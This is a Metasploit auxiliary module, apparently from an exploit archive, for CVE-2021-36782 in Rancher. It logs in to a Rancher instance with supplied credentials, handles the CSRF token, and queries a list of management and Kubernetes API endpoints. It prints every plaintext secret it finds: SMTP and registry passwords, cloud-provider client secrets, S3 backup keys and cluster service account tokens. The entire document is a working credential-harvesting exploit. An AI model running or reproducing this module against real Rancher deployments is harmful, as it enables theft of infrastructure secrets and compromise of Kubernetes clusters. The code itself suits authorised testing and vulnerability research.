## https://sploitus.com/exploit?id=PACKETSTORM:180695
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Authenticated API Credential Exposure',
'Description' => %q{
An issue was discovered in Rancher versions up to and including
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
and Ranchers service account token (used to provision clusters),
were stored in plaintext directly on Kubernetes objects like Clusters,
for example cluster.management.cattle.io. Anyone with read access to
those objects in the Kubernetes API could retrieve the plaintext
version of those sensitive data.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Florian Struck', # discovery
'Marco Stuurman' # discovery
],
'References' => [
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],
[ 'URL', 'https://fe.ax/cve-2021-36782/'],
[ 'CVE', '2021-36782']
],
'DisclosureDate' => '2022-08-18',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with']),
OptString.new('PASSWORD', [ true, 'Password to login with']),
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])
]
)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def rancher?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dashboard/'),
'keep_cookies' => true
})
return false unless res&.code == 200
html = res.get_html_document
title = html.at('title').text
title == 'dashboard' # this is a VERY weak check
end
def login
# get our cookie first with CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200
json_post_data = JSON.pretty_generate(
{
'description' => 'UI session',
'responseType' => 'cookie',
'username' => username,
'password' => password
}
)
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/
csrf = ::Regexp.last_match(1)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),
'keep_cookies' => true,
'method' => 'POST',
'vars_get' => {
'action' => 'login'
},
'headers' => {
'accept' => 'application/json',
'X-Api-Csrf' => csrf
},
'ctype' => 'application/json',
'data' => json_post_data
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401
end
def check
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher?
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')
end
def run
vprint_status('Attempting login')
login
vprint_good('Login successful, querying APIs')
[
'/v1/management.cattle.io.catalogs',
'/v1/management.cattle.io.clusters',
'/v1/management.cattle.io.clustertemplates',
'/v1/management.cattle.io.notifiers',
'/v1/project.cattle.io.sourcecodeproviderconfig',
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'
].each do |api_endpoint|
vprint_status("Querying #{api_endpoint}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, api_endpoint),
'headers' => {
'accept' => 'application/json'
}
)
if res.nil?
vprint_error("No response received from #{api_endpoint}")
next
end
next unless res.code == 200
json_body = res.get_json_document
next unless json_body.key? 'data'
json_body['data'].each do |data|
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later
[
'Notifier.SMTPConfig.Password',
'Notifier.WechatConfig.Secret',
'Notifier.DingtalkConfig.Secret',
'Catalog.Spec.Password',
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',
'Cluster.Status.ServiceAccountToken',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'
].each do |leaky_key|
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)
end
end
end
end
end